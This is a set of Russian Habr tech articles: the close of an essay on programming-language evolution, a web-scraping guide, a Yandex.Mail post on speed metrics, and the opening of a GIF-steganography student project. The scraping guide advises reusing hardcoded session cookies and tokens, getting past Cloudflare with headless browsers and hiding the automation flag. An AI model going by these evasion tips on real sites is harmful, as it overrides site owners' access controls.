Другой пример — Java. Начиная с первой версии, в язык были включены примитивы многопоточного программирования. Конструкция “synchronized”, поддержка блокировок на уровне любого объекта и, простите, “Hashtable”. И вот это представили как решение проблем многопоточного программирования, объявили что Java — “concurrent” и выпустили в свет. Сейчас очевидно, что разработку многопоточного кода нужно основывать на принципах “stateless” и “immutability”, что для “concurrency” нужные специализированные структуры данных — “ConcurrentHashMap”, а блокировки стоит использовать только в крайних или специфичных ситуациях. Увы, фарш невозможно провернуть назад. “Hashtable” останется в Java навсегда, а необходимость рассказывать каждому новому разработчику, почему нужно использовать “StringBuilder”, а не “StringBuffer” — это крест, который несет все Java-сообщество.
В примере с Java важно, что такие “атавизмы” на самом деле никак не влияют на “живучесть” языка программирования. Все перечисленные проблемы были устранены в .Net изначально, и кому какое до этого дело.
### Принцип острова
Новые виды наиболее активно появляются в новой изолированной среде. Такой средой может быть как остров в буквальном смысле, — Ява и ее малый оленёк или Мадагаскар с лемурами, так и озеро — например, Байкал и его прозрачная голомянка. Континент Австралия с населяющими его сумчатыми также является островом в эволюционном смысле.
Попав в независимую среду, виды начинают быстро эволюционировать и образовывать новые виды. Именно принцип острова определяет возникновение мейнстримных языков программирования.
Рассмотрим островное происхождение языка Java. То, что Java стал [мейнстримным](http://www.tiobe.com/tiobe-index/) языком программирования, — по большому счету, случайность. Для этого не было никаких разумных предпосылок. Разработка Java началась в 1991 году (тогда язык назывался Oak). По легенде, основной платформой для исполнения Java-приложений должны были стать кофемолки. В целом это неудивительно, поскольку Java разрабатывалась в недрах Sun Microsystems — “железной” компании, так что разработка языка для встраиваемых систем там была вполне логичной. Но в 1993 году появился первый браузер [Mosaic](https://en.wikipedia.org/wiki/Mosaic_(web_browser)), и это все изменило.
Появилась совершенно новая, никем не занятая и не освоенная среда, полностью свободная от багажа предыдущего опыта и технологий. Никто не знал что и как в ней делать. И вот в [1995](http://oracle.com.edgesuite.net/timeline/java/) году технологию Java представили миру. Правда, по нынешним стандартам, технология была так себе. Ирония состоит в том, что Java изначально позиционировалась как клиентский язык программирования, отсюда [Applet](https://docs.oracle.com/javase/7/docs/api/java/applet/Applet.html) — технология встраивания в браузеры, окончательно уничтоженный только в 2015, и обреченный с рождения браузер [HotJava](https://en.wikipedia.org/wiki/HotJava). Java стал одним из основных языков серверного программирования скорее вопреки задумке авторов. Справедливости ради, на то были разумные основания. В 1990-х, выбирая, на чем разрабатывать серверную логику — на C++ или Perl, любая альтернатива этим двум казалась бы лучшим выбором. А как серверная технология Java оказалась настолько хороша, что уже в [2002](https://en.wikipedia.org/wiki/.NET_Framework) году ее скопировал Microsoft.
Тем временем, в том же [1995](https://en.wikipedia.org/wiki/JavaScript) году появился JavaScript. Пользуясь полнейшим провалом Java на стороне клиента, он стал доминирующей технологией разработки клиентских приложения для веба.
Справедливости ради следует добавить что тогда же, в [1995](https://en.wikipedia.org/wiki/PHP) году появился PHP и занял экологическую нишу быстрой разработки. Вообще, эра веба крайне благоприятно сказалась на развитии языков на букву “P”.
### Острова не только для языков программирования
Конечно веб не остался единственным островом. Среда меняется и новые доминирующие виды на них появляются регулярно. Просто это не языки программирования, а что-то другое.
Хорошим шансом для появления нового массового языка программирования стало появление смартфонов. Но не случилось. Apple по инерции использовала в iPhone ([2007](https://en.wikipedia.org/wiki/IPhone)) Objective-C ([1984](https://en.wikipedia.org/wiki/Objective-C)), а Google — Java в Android ([2008](https://en.wikipedia.org/wiki/Android_(operating_system))). Становление нового рынка было слишком горячим фронтом противостояния, чтобы отвлекаться на эксперименты (см. [«Как поссорились Apple и Google»](http://www.ozon.ru/context/detail/id/29554881/)). Да, конечно есть Swift, но о нем вспомним чуть позже.
Другой островок появился где-то в районе [2009](https://en.wikipedia.org/wiki/Real-time_web) года, когда все начали добавлять в веб-приложения поддержку WebSocket для обновления данных на странице в реальном времени. Так появились Node.js и Go, и вновь показался на радарах Erlang. Но несмотря на технологическое превосходство Go над Node.js и привычную семантику по сравнению с вычурным Erlang, Go не стал лидером, как, впрочем, и никто из его “коллег”. Островок оказался слишком маленьким и на базу для дальнейшей экспансии не потянул. А совсем недавно там добавился еще один обитатель-конкурент — Elixir ([2012](https://en.wikipedia.org/wiki/Elixir_(programming_language))), адекватный синтаксис и исполнение в среде Erlang.
Остров интернета вещей — компьютер размером с пуговицу работающий от солнечной энергии на котором можно запустить [Doom](http://www.techdigest.tv/2013/10/10_gadgets_that.html), это да. Сейчас в тренде смарт-часы, и это дает шанс добиться популярности новым операционным системам, например Tizen.
Остров машинного обучения в основном населяют C++ и Python, немного Java, иногда Lua ([1993](https://ru.wikipedia.org/wiki/Lua)) и конечно R ([1993](https://en.wikipedia.org/wiki/R_(programming_language))). В целом машинное обучение — больше про алгоритмы и специфичные способы обработки данных.
### Генная инженерия языков программирования
За время своего развития мейнстримные языки программирования накопили багаж негативных аспектов, которые хочется исправить. Периодически происходят попытки искусственно переломить ситуацию и создать “в пробирке” замену языкам “выросшим на воле”. Однако, нарушения законов эволюции пока не наблюдается. Новые языки программирования конечно добиваются определенных успехов, но только в узких областях, и о полной победе речи не идет. Вот только некоторые примеры.
Apple выпустила Swift на замену Objective-C в [2014](https://en.wikipedia.org/wiki/Swift_(programming_language)). Похоже что дела в этом направлении идут неплохо, но нет причин ждать чего то большего.
В JetBrains устроили локальную революцию с Kotlin в [2011](https://en.wikipedia.org/wiki/Kotlin_(programming_language)), решив переписать на него IDEA а заодно избавить весь мир от NullPointerException. Пока не помогло.
Google громко анонсировал Dart как [“убийцу JavaScript”](http://www.theregister.co.uk/2011/09/14/google_project_kill_javascript/) в том же 2011. Криминала, впрочем, не случилось, как и нативной поддержки Dart в браузерах. В целом Dart и TypeScript ([2012](https://en.wikipedia.org/wiki/TypeScript)) неплохо живут и компилируются в JavaScript, но свергнуть короля веба они оказались не в состоянии, хотя и существенно потеснили его в рамках разработки крупных проектов.
Mozilla решила переписать Firefox на Rust ([2010](https://en.wikipedia.org/wiki/Rust_(programming_language))). Распространение системы типов на многопоточность — это интересно, да и все остальное в Rust выглядит основательно. Есть одна загвоздка — на Go худо-бедно уже можно найти живые приложения, а вот от Rust выхлопа пока нет.
Мажорное обновление Python 3, ломающее обратную совместимость, сформировалось в [2006](https://www.python.org/dev/peps/pep-3000/) и называется Python 3000. Первый релиз вышел в [2008](https://www.python.org/download/releases/3.0/). Судя по тому что Python 2 бодр, весел, и все еще с нами, изначальные оценки по внедрению третьей версии к 3000 году были недалеки от истины.
Если с Python дела обстоят более-менее серьезно, то инициативу Perl 6 уже можно рассматривать как анекдот. Начав разработки в [2000](https://en.wikipedia.org/wiki/Perl_6#History), с целью заменить Perl 5 ([1994](https://en.wikipedia.org/wiki/Perl_5_version_history)), Perl 6, похоже, все-таки зарелизили в 2015.
### Следующего большого языка программирования не предвидится
Похоже, что дело обстоит именно так. Новых естественных островов, на которых мог бы закрепиться свежий лидер, похоже не планируется, а эксперименты по созданию новых языков не могут побороть инертность индустрии разработки. Пожалуй, это не так уж и плохо.
Отсутствие новостей — хорошие новости. Если вы планируете начать изучать JavaScript, Java, C#, Python или PHP, это стоит сделать. Мейнстримные языки с нами всерьез и надолго, и их знание всегда пригодится. При этом, новые языки вроде Rust или Go тоже имеют перспективу, возможно, не как замена всего и вся, но как инструмент для решения интересных задач.
*Дмитрий Мамонов
Департамент разработки,
Подразделение мержа в мастер,
Отдел работы с гит,
Оператор баш консоли с “пробегом”* | https://habr.com/ru/post/323550/ | null | ru | null |
# Как спарсить любой сайт?
Меня зовут [Даниил Охлопков](https://t.me/danokhlopkov), и я расскажу про свой подход к написанию скриптов, извлекающих данные из интернета: с чего начать, куда смотреть и что использовать.
Написав тонну парсеров, я придумал алгоритм действий, который не только минимизирует затраченное время на разработку, но и увеличивает их живучесть, робастность, масштабируемость.
TL;DR
-----
Чтобы спарсить данные с вебсайта, пробуйте подходы именно в таком порядке:
1. Найдите официальное API,
2. Найдите XHR запросы в консоли разработчика вашего браузера,
3. Найдите сырые JSON в html странице,
4. Отрендерите код страницы через автоматизацию браузера,
5. Если ничего не подошло - пишите парсеры HTML кода.
Совет профессионалов: не начинайте с BS4/Scrapy
-----------------------------------------------
> [BeautifulSoup4](https://www.crummy.com/software/BeautifulSoup/bs4/doc/) и [Scrapy](https://scrapy.org/) - популярные инструменты парсинга HTML страниц (и не только!) для Python.
>
>
Крутые вебсайты с крутыми продактами делают тонну A/B тестов, чтобы повышать конверсии, вовлеченности и другие бизнес-метрики. Для нас это значит одно: элементы на вебстранице будут меняться и переставляться. В идеальном мире, наш написанный парсер не должен требовать доработки каждую неделю из-за изменений на сайте.
Приходим к выводу, что **не надо извлекать данные из HTML тегов раньше времени**: разметка страницы может сильно поменяться, а CSS-селекторы и XPath могут не помочь. **Используйте другие методы**, о которых ниже. ⬇️
Используйте официальный API
---------------------------
👀 Ого? Это не очевидно 🤔? Конечно, очевидно! Но сколько раз было: сидите пилите парсер сайта, а потом БАЦ - нашли поддержку древней *RSS-ленты*, обширный *sitemap.xml* или другие интерфейсы для разработчиков. Становится обидно, что поленились и потратили время не туда. Даже если API платный, иногда дешевле договориться с владельцами сайта, чем тратить время на разработку и поддержку.
> *Sitemap.xml* - список страниц сайта, которые точно нужно проиндексировать гуглу. Полезно, если нужно найти все объекты на сайте. Пример: <http://techcrunch.com/sitemap.xml>
>
> *RSS-лента* - API, который выдает вам последние посты или новости с сайта. Было раньше популярно, сейчас все реже, но где-то еще есть! Пример: <https://habr.com/ru/rss/hubs/all/>
>
>
Поищите XHR запросы в консоли разработчика
------------------------------------------
Кабина моего самолетаВсе современные вебсайты (но не в дарк вебе, лол) используют Javascript, чтобы догружать данные с бекенда. Это позволяет сайтам открываться плавно и скачивать контент постепенно после получения структуры страницы (HTML, скелетон страницы).
Обычно, эти данные запрашиваются джаваскриптом через простые GET/POST запросы. А значит, можно **подсмотреть эти запросы, их параметры и заголовки** - а потом повторить их у себя в коде! Это делается через консоль разработчика вашего браузера (developer tools).
*В итоге, даже не имея официального API, можно воспользоваться красивым и удобным закрытым API. ☺️*Даже **если фронт поменяется полностью**, этот API с большой вероятностью будет работать. Да, добавятся новые поля, да, возможно, некоторые данные уберут из выдачи. Но **структура ответа останется**, а значит, ваш парсер почти не изменится.
Алгорим действий такой:
1. Открывайте вебстраницу, которую хотите спарсить
2. Правой кнопкой -> Inspect (или открыть dev tools как на скрине выше)
3. Открывайте вкладку Network и кликайте на фильтр XHR запросов
4. Обновляйте страницу, чтобы в логах стали появляться запросы
5. Найдите запрос, который запрашивает данные, которые вам нужны
6. Копируйте запрос как cURL и переносите его в свой язык программирования для дальнейшей автоматизации.
Кнопка, которую я искал месяцыВы заметите, что иногда эти XHR запросы включают в себя огромные строки - **токены, куки, сессии**, которые генерируются фронтендом или бекендом. Не тратьте время на ревёрс фронта, чтобы научить свой парсер генерировать их тоже.
Вместо этого попробуйте **просто скопипастить и захардкодить** их в своем парсере: очень часто эти строчки валидны 7-30 дней, что может быть окей для ваших задач, а иногда и вообще несколько лет. Или поищите другие XHR запросы, в ответе которых бекенд присылает эти строчки на фронт (обычно это происходит в момент логина на сайт). Если не получилось и без куки/сессий никак, - советую переходить на автоматизацию браузера ([Selenium](https://www.selenium.dev/), [Puppeteer](https://github.com/puppeteer/puppeteer), [Splash](https://github.com/scrapinghub/splash) - Headless browsers) - об этом ниже.
Поищите JSON в HTML коде страницы
---------------------------------
Как было удобно с XHR запросами, да? Ощущение, что ты используешь официальное API. 🤗 Приходит много данных, ты все сохраняешь в базу. Ты счастлив. Ты бог парсинга.
Но тут надо парсить другой сайт, а там нет нужных GET/POST запросов! Ну вот нет и все. И ты думаешь: неужели расчехлять XPath/CSS-selectors? 🙅♀️ **Нет!** 🙅♂️
Чтобы страница хорошо проиндексировалась поисковиками, необходимо, чтобы в HTML коде уже содержалась вся полезная информация: поисковики не рендерят Javascript, довольствуясь только HTML. А значит, где-то в коде должны быть все данные.
Современные SSR-движки (server-side-rendering) оставляют внизу страницы JSON со всеми данные, добавленный бекендом при генерации страницы. Стоп, это же и есть ответ API, который нам нужен! 😱😱😱
Вот несколько примеров, где такой клад может быть зарыт (не баньте, плиз):
Красивый JSON на главной странице Habr.com. Почти официальный API! Надеюсь, меня не забанят.И наш любимый (у парсеров) Linkedin! Алгоритм действий такой:
1. В dev tools берете самый первый запрос, где браузер запрашивает HTML страницу (не код текущий уже отрендеренной страницы, а именно ответ GET запроса).
2. Внизу ищите длинную длинную строчку с данными.
3. Если нашли - повторяете у себя в парсере этот GET запрос страницы (без рендеринга headless браузерами). Просто`requests.get`.
4. Вырезаете JSON из HTML любыми костылямии (я использую `html.find("={")`).
Отрендерите JS через Headless Browsers
--------------------------------------
Если XHR запросы требуют актуальных tokens, sessions, cookies. Если вы нарываетесь на защиту Cloudflare. Если вам обязательно нужно логиниться на сайте. Если вы просто решили рендерить все, что ~~движется~~ загружается, чтобы минимизировать вероятность бана. Во всех случаях - добро пожаловать в мир автоматизации браузеров!
Если коротко, то есть инструменты, которые позволяют управлять браузером: открывать страницы, вводить текст, скроллить, кликать. Конечно же, это все было сделано для того, чтобы автоматизировать тесты веб интерфейса. *I'm something of a web QA myself.*
После того, как вы открыли страницу, чуть подождали (пока JS сделает все свои 100500 запросов), можно смотреть на HTML страницу опять и поискать там тот заветный JSON со всеми данными.
```
driver.get(url_to_open)
html = driver.page_source
```
#### Selenoid - open-source remote Selenium cluster
Для масштабируемости и простоты, [я](https://okhlopkov.com) советую использовать удалённые браузерные кластеры (remote Selenium grid).
Недавно я нашел офигенный опенсорсный микросервис [Selenoid](https://aerokube.com/selenoid/latest/), который по факту позволяет вам запускать браузеры не у себя на компе, а на удаленном сервере, подключаясь к нему по API. Несмотря на то, что Support team у них состоит из токсичных разработчиков, их микросервис довольно просто развернуть (советую это делать под VPN, так как по умолчанию никакой authentication в сервис не встроено). Я запускаю их сервис через [DigitalOcean 1-Click apps](https://marketplace.digitalocean.com/apps/selenoid): 1 клик - и у вас уже создался сервер, на котором настроен и запущен кластер Headless браузеров, готовых запускать джаваскрипт!
Вот так я подключаюсь к Selenoid из своего кода: по факту нужно просто указать адрес запущенного Selenoid, но я еще зачем-то передаю кучу параметров бразеру, вдруг вы тоже захотите. На выходе этой функции у меня обычный Selenium driver, который я использую также, как если бы я запускал браузер локально (через файлик chromedriver).
```
def get_selenoid_driver(
enable_vnc=False, browser_name="firefox"
):
capabilities = {
"browserName": browser_name,
"version": "",
"enableVNC": enable_vnc,
"enableVideo": False,
"screenResolution": "1280x1024x24",
"sessionTimeout": "3m",
# Someone used these params too, let's have them as well
"goog:chromeOptions": {"excludeSwitches": ["enable-automation"]},
"prefs": {
"credentials_enable_service": False,
"profile.password_manager_enabled": False
},
}
driver = webdriver.Remote(
command_executor=SELENOID_URL,
desired_capabilities=capabilities,
)
driver.implicitly_wait(10) # wait for the page load no matter what
if enable_vnc:
print(f"You can view VNC here: {SELENOID_WEB_URL}")
return driver
```
Заметьте фложок `enableVNC`. Верно, вы сможете смотреть видосик с тем, что происходит на удалённом браузере. Всегда приятно наблюдать, как ваш скрипт самостоятельно логинится в Linkedin: он такой молодой, но уже хочет познакомиться с крутыми разработчиками.
Парсите HTML теги
-----------------
Если случилось чудо и у сайта нет ни официального API, ни вкусных XHR запросов, ни жирного JSON внизу HTML, если рендеринг браузерами вам тоже не помог, то остается последний, самый нудный и неблагодарный метод. Да, это взять и начать парсить HTML разметку страницы. То есть, например, из `[Cool website](https://okhlopkov.com)` достать ссылку. Это можно делать как простыми регулярными выражениями, так и через более умные инструменты (в питоне это [BeautifulSoup4](https://www.crummy.com/software/BeautifulSoup/bs4/doc/) и [Scrapy](https://scrapy.org/)) и фильтры (XPath, CSS-selectors).
Мой единственный совет: постараться минимизировать число фильтров и условий, чтобы меньше переобучаться на текущей структуре HTML страницы, которая может измениться в следующем A/B тесте.
---
##### Даниил Охлопков - Data Lead @ Runa Capital
Подписывайтесь на мой [Телеграм канал](https://t.me/danokhlopkov), где я рассказываю свои [истории из парсинга](https://t.me/danokhlopkov/544) и [сливаю датасеты](https://t.me/danokhlopkov/513).
Надеюсь, что-то из этого было полезно! Я считаю, что в парсинге важно, с чего ты начинаешь. С чего начать - я рассказал, а дальше ваш ход 😉 | https://habr.com/ru/post/579336/ | null | ru | null |
# Как мы измеряем скорость загрузки Яндекс.Почты
Если ваш сайт медленно грузится, вы рискуете тем, что люди не оценят ни то, какой он красивый, ни то, какой он удобный. Никому не понравится, когда все тормозит. Мы регулярно добавляем в Яндекс.Почту новую функциональность, иногда — исправляем ошибки, а это значит, у нас постоянно появляются новый код и новая логика. Все это напрямую влияет на скорость работы интерфейса.
[](http://habrahabr.ru/company/yandex/blog/244243/)
Яндекс.Почту каждый день открывают миллионы человек из разных точек земного шара. И ни у кого она не должна тормозить, поэтому без различных измерений наша работа не обходится. В этом посте мы с [alexeimoisseev](https://habrahabr.ru/users/alexeimoisseev/) и [kurau](https://habrahabr.ru/users/kurau/) решили рассказать о том, какие метрики у нас есть и какие задачи они решают. Возможно, это пригодится и вам.
### Что нам интересно
1. Время первой загрузки интерфейса.
2. Время отрисовки любого блока на странице (от клика до того, как он появился в DOM и готов взаимодействовать с пользователем).
3. Количество аномально долгих отрисовок страницы и их причины (например, аномально долгим мы считаем любой переход больше двух секунд).
Время первой загрузки страницы с почтой мы измеряем с помощью [NTA](https://developer.mozilla.org/en-US/docs/Navigation_timing). NTA используется следующим образом. Скорость первой загрузки (то, на что может повлиять фронтенд) измеряется от [PerformanceTiming.domLoading](http://developer.mozilla.org/en-US/docs/Web/API/PerformanceTiming.domLoading) до момента полной отрисовки (это не onload, а реальное время первой отрисовки писем). Я специально подчеркиваю это, так как многие измеряют скорость от [PerformanceTiming.navigationStart](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceTiming.navigationStart). Между NavigationStart и domLoading может пройти много времени, ведь туда входит время редиректов, dns lookup, подключения и т. п. И такая метрика ошибочна. Скажем, за dns lookup и время подключения должны отвечать NOC и администраторы, а не фронтенд-разработчики. Соответственно, очень важно, даже в таких метриках, разделять зону ответственности.
Современные браузеры, в том числе IE9, имеют поддержку NTA.
Но этих замеров недостаточно. У пользователя почта загружается всего один раз, а потом он открывает десятки писем без перезагрузки страницы. И нам важно знать, как быстро это происходит.
Любые изменения страницы у нас происходят через единый модуль, который расставляет у себя таймеры на различные части (подготовка, запрос данных с сервера, шаблонизация, обновление DOM) и пробрасывает их модулям-потребителям. Таймеры расставляются через обычный Date.now(). То есть в момент нажатия на ссылку мы сохраняем в переменную значение Date.now(). После обновления DOM мы снова запоминаем Date.now() и вычисляем разницу с предыдущим значением.
Интересно, что до разделения процесса обновления на стадии мы дошли не сразу и в первых версиях измеряли только общее время выполнения и время запроса на сервер. Стадии и детальные измерения появились после неудачного релиза, где мы сильно замедлились и не могли понять почему. Сейчас модуль обновления сам логирует все свои стадии, и можно легко понять причину замедления: медленнее стал отвечать сервер либо слишком долго выполняется JavaScript.
Выглядит это примерно так:
`this.timings[‘look-ma-im-start’] = Date.now();`
`this.timings[‘look-ma-finish’] = Date.now();`
Все тайминги собираются и при отправке рассчитываются. На этапах разница между “end” и “start” не считается, а все вычисления производятся в конце:
`var totalTime = this.timings[‘look-ma-finish’] - this.timings[‘look-ma-im-start’];`
И на сервер прилетают подобные записи:
`serverResponse=50&domUpdate=60&yate=100`
### Что мы измеряем
Этапы первой загрузки:
* подготовка,
* загрузка статики (HTTP-запрос и парсинг),
* исполнение модулей (объявление деклараций моделей, видов и т. п.),
* инициализация базовых объектов,
* отрисовка,
* выполнение обработчиков события «первая отрисовка».
Этапы отрисовки любой страницы:
* подготовка к запросу на сервер,
* запрос данных с сервера,
* шаблонизация,
* обновление DOM,
* обработка событий у view,
* выполнение callback «после отрисовки».
Следует заметить, что для честности «общее время исполнения» не является суммой всех метрик, а вычисляется отдельной метрикой «“начало” — “конец”». Это позволяет не терять стадии обновления. Детальные метрики позволяют быстрее найти проблему и в идеале должны примерно равняться общему времени исполнения. Полное равенство получить не удастся из-за Promise или setTimeout.
*— Ок, теперь у нас есть метрики, и мы можем отправить их на сервер.
— Что же дальше?
— А давай построим график!
— Что будем считать?*
### А давай посчитаем среднее
Когда я слышу такую фразу, мне вспоминаются две шутки:
* В среднем у человека меньше двух рук.
* Зарплата депутата – 100 000 рублей, зарплата врача – 10 000 рублей. Средняя зарплата – 55 000 рублей.
Как вы уже поняли, «среднее» в том смысле, в котором мы его чаще всего понимаем, – не что иное, как среднее арифметическое. В более общем случае оно имеет специальное название – «математическое ожидание», которое в дискретном случае (далее мы будем рассматривать именно его) как раз и является средним арифметическим. Вообще в статистике «средним» называют целое семейство мер центральной тенденции, каждая из которых с определенной точностью характеризует локализацию распределения данных.
В нашей ситуации мы имеем дело с данными, в которых есть выбросы, сильно влияющие на среднее арифметическое. Для наглядности возьмем «реальные» данные за день и построим гистограмму. Напомню, что при достаточно большом объеме данных она становится похожа на график плотности распределения.
Посчитаем среднее арифметическое:
Жуть. Замечу, что в зависимости от количества выбросов это значение будет меняться. Это хорошо видно, если посчитать, например, среднее арифметическое для 99% пользователей, отбросив «больших»:
Способ оценивать выборку не по всем данным, а брать только подмножество часто используется в случае данных с выбросами. Для этого прибегают к специальным оценкам центральной тенденции, основанным на усечении данных. К этой группе относится в первую очередь медиана (Md).
**Медиана**
Как вы знаете, [медиана](https://ru.wikipedia.org/wiki/Медиана_%28статистика%29) – это серединное, а не среднее значение в выборке. Если у нас имеются числа 1, 2, 2, 3, 8, 10, 20, то медиана – 3, а среднее – 6,5. В общем случае медиана отлично показывает, сколько грузится средний пользователь. Даже если делить эти группы на «быстрые» и «медленные», все равно будет получаться правильное значение.
Допустим, медиана у нас равна 1 с. Это хорошо или плохо? А если мы ускорим на 100 мс и сделаем 0,9 с, то это будет что?
### Окей, я ускорил отрисовку на 100мс
В случае ускорения или замедления медиана, конечно, изменится. Но она не может рассказать, сколько пользователей ускорилось, а сколько замедлилось. Могут ускоряться браузеры, обновляться компьютеры, можно оптимизировать код, а в итоге в вас будет одна мало что говорящая цифра.
Чтобы понять, на какую группу пользователей повлияли изменения, можно построить следующий график: берем временнЫе интервалы 0 – 100 мс, 100 мс – 300 мс, 300 мс – 1000 мс, 1000 мс – бесконечность и считаем, сколько процентов запросов уложилось в каждый из них.
Но и тут возникает проблема. Каждый раз нам приходилось делать выводы: тут стало чуть лучше и тут стало немного похуже. Нельзя ли сделать вывод сразу? еще больше упростить график?
### Дорогая, я сделал еще один график
Когда вы научитесь считать метрики и делать графики, у всех появится желание строить их для ВСЕГО. В итоге мы получим прекрасные 100500 графиков, кучу разрозненных метрик, где каждый показывает начальнику то, что ему более выгодно. Плохо? Конечно, плохо! При возникновении проблем непонятно на что смотреть! Сотни графиков – и все правильные.
Стандартная ситуация: бэкенд строит свои графики, БД – другие, фронтенд – третьи. А где же пользователь? В конечном итоге мы же все работаем на него и график надо строить от него. Как это сделать?
#### APDEX
[APDEX](https://en.wikipedia.org/wiki/Apdex) – интеграционная метрика, которая сразу говорит: хорошо или плохо. Метрика работает очень просто. Мы выбираем временной интервал [0; t], такой, что если время показа страницы попало в него, то пользователь счастлив. Берем еще один интервал, (t; 4t] (в четыре раза больше первого), и считаем, что если страница показана за это время, то пользователь в целом удовлетворен скоростью работы, но уже не настолько счастлив. И применяем формулу:
> (количество счастливых пользователей + количество в целом удовлетворенных/2) / (количество всех пользователей).
Получается значение от нуля до единицы, которое, видимо, лучше всего показывает, хорошо или плохо работает почта.
В формуле APDEX несчастливые или в целом удовлетворенные пользователи влияют на оценку больше, чем счастливые, а значит, стоит работать именно с ними. В идеале должна получаться единица.
В Яндексе APDEX используется довольно широко. Такую популярность он получил во многом потому, что его результаты можно обрабатывать автоматически, так как это всего лишь одна цифра. Напротив, в случае графика с множественными интервалами определить, «хорошо или плохо», может только человек.
В то же время использование APDEX не отменяет построения других графиков. Те же процентили нужны и полезны в случае разбора проблем, по ним будет понятно, что происходит. Таким образом, он является вспомогательным графиком.
### Какой же график правильный
Правильный график – тот, который покажет реальное взаимодействие пользователя с вашим сайтом. Можно бесконечно улучшать бэкенд и делать его сколь угодно быстрым, но пользователю, по большому счету, на это плевать. Если тормозит фронтенд, бэкенд не поможет, и наоборот. К поиску проблемы всегда надо идти от конечного пользователя.
Возьмем, например, абстрактного пользователя из Екатеринбурга. Когда мы, давным-давно, начали вводить метрики скорости, то обнаружили, что чем дальше пользователь от Москвы, тем медленнее у него работает почта. Почему? Все очень просто: наши ДЦ тогда находились в столице, а скорость света имеет конечное значение. Сигналу надо преодолевать тысячи километров по проводам. Простой расчет показывает, что расстояние в 2000 км свет пройдет примерно за 7 мс. В реальности потребуется даже больше времени, потому что свет путешествует не в вакууме и не по прямой, по пути встречается много маршрутизаторов и т. д. Таким образом, оптимизируй не оптимизируй, а каждый TCP-пакет будет иметь задержку в десятки миллисекунд. Естественно, что в такой ситуации вкладываться надо не в оптимизацию кода, а в создание [CDN](http://habrahabr.ru/company/yandex/blog/176893/), чтобы любой пользователь оказался ближе к нам.
### One more thing
Иногда получается, что вы видите ровные графики, а пользователи жалуются на тормоза. Это всегда означает, что либо у вас ошибка в измерениях, либо вы измеряете не то. Метрики надо стресс-тестировать, чтобы исключать ошибки в самих метриках. Причем стресс-тестирование должно выполняться не средствами самой метрики, а со стороны.
Замедляйте бэкенды, добавляйте циклы или отвечайте ошибками. Смотрите, как изменяются метрики на каждом этапе: от бэкенда к фронтенду и браузеру. Только так вы можете убедиться, что измеряете то, что действительно нужно.
Например, мы в стресс-тестировании как-то дошли до того, что каждый второй запрос отвечал ошибкой. Это позволило нам определить, входит перезапрос данных в метрики или нет.
### Заключение
Очень важно, чтобы оптимизация не была единоразовой или от случая к случаю. Над метриками скорости надо организовывать процесс. Для начала хватит реалтаймовых графиков и тестирования каждого релиза на скорость. Таким образом, мы останемся честными сами с собой и будем понимать, где именно мы медленные. Налаженный процесс позволяет отслеживать релизы, в которых произошли изменения в скорости, а значит, мы точно сможем это исправить. Даже если у вашей команды нет времени целенаправленно и постоянно заниматься оптимизацией, можно хотя бы следить за тем, чтобы не становилось хуже. | https://habr.com/ru/post/244243/ | null | ru | null |
# Стеганография в GIF
#### Введение
Приветствую.
Не так давно, когда учился в университете, была курсовая по дисциплине «Программные методы защиты информации». По заданию требовалось сделать программу, внедряющую сообщение в файлы формата GIF. Решил делать на Java.
В данной статье я опишу некоторые теоретические моменты, а также, как создавалась эта небольшая программа.
#### Теоретическая часть
##### Формат GIF
GIF (англ. Graphics Interchange Format — формат для обмена изображениями) — формат хранения графических изображений, способен хранить сжатые данные без потери качества в формате до 256 цветов. Данный формат был разработан в 1987 году (GIF87a) фирмой CompuServe для передачи растровых изображений по сетям. В 1989-м формат был модифицирован (GIF89a), были добавлены поддержка прозрачности и анимации.
Файлы формата GIF имеют блочную структуру. Данные блоки всегда имеют фиксированную длину (либо она зависит от некоторых флагов), так что ошибиться в том, где какой блок находится, практически невозможно. Структура простейшего неанимированного GIF-изображения формата GIF89a:
Из всех блоков структуры в данном случае нас будут интересовать блок глобальной палитры и параметры, отвечающие за палитру:
* `CT` — наличие глобальной палитры. Если этот флаг установлен, то сразу после дескриптора логического экрана должна начинаться глобальная палитра.
* `Size` — размер палитры и число цветов картинки. Значения данного параметра:
| Size | Число цветов | Размер палитры, байт |
| --- | --- | --- |
| 7 | 256 | 768 |
| 6 | 128 | 384 |
| 5 | 64 | 192 |
| 4 | 32 | 96 |
| 3 | 16 | 48 |
| 2 | 8 | 24 |
| 1 | 4 | 12 |
| 0 | 2 | 6 |
##### Методы шифрования
В качестве методов зашифрования сообщений в файлах изображений будут использоваться:
* Метод LSB (Least Significant Bit, наименьший значащий бит)
* Метод дополнения палитры
**Метод LSB** — распространенный метод стеганографии. Он заключается в замене последних значащих бит в контейнере (в нашем случае байты глобальной палитры) на биты скрываемого сообщения.
В программе будут использоваться в рамках этого метода два последних бита в байтах глобальной палитры. Это означает, что для 24-битного изображения, где цвет палитры представляет собой три байта для красного, синего, и зеленого цветов, после внедрения сообщения в него, каждая составляющая цвета изменится максимум на 3/255 градации. Такое изменение, во-первых, будет незаметно или труднозаметно для человеческого глаза, а во-вторых, не будет различимо на низкокачественных устройствах вывода информации.
Количество информации будет напрямую зависеть от размера палитры изображения. Поскольку максимальный размер палитры 256 цветов и, если записывать по два бита сообщения в составляющую каждого цвета, то максимальная длина сообщения (при максимальной палитре в изображении) составляет 192 байта. После внедрения сообщения в изображение, размер файла не изменяется.
**Метод расширения палитры**, работающий только для структуры GIF. Он будет наиболее эффективен в изображениях с палитрой небольших размеров. Суть его состоит в том, что он увеличивает размер палитры, тем самым дав дополнительное пространство для записи необходимых байт на месте байт цветов. Если учесть что минимальный размер палитры составляет 2 цвета (6 байт), то максимальный размер внедряемого сообщения может быть 256×3–6=762 байт. Недостаток — низкая криптозащищенность, прочесть внедренное сообщение можно при помощи любого текстового редактора, если сообщение не подвергалось дополнительному шифрованию.
#### Практическая часть
##### Проектирование программы
Все необходимые инструменты для реализации алгоритмов шифрования и дешифрования будут находиться в пакете `com.tsarik.steganography`. Этот пакет включает в себя интерфейс `Encryptor` с методами `encrypt` и `decrypt`, класс `Binary`, предоставляющий возможность работы с массивами битов, а также классы исключений `UnableToEncryptException` и `UnableToDecryptException`, которые должны быть использованы в методах интерфейса `Encryptor` в случае ошибок кодирования и декодирования соответственно.
Основной пакет программы `com.tsarik.programs.gifed` будет включать в себя запускаемый класс программы со статическим методом `main`, позволяющий запускать программу; класс, хранящий в себе параметры программы; и пакеты с другими классами.
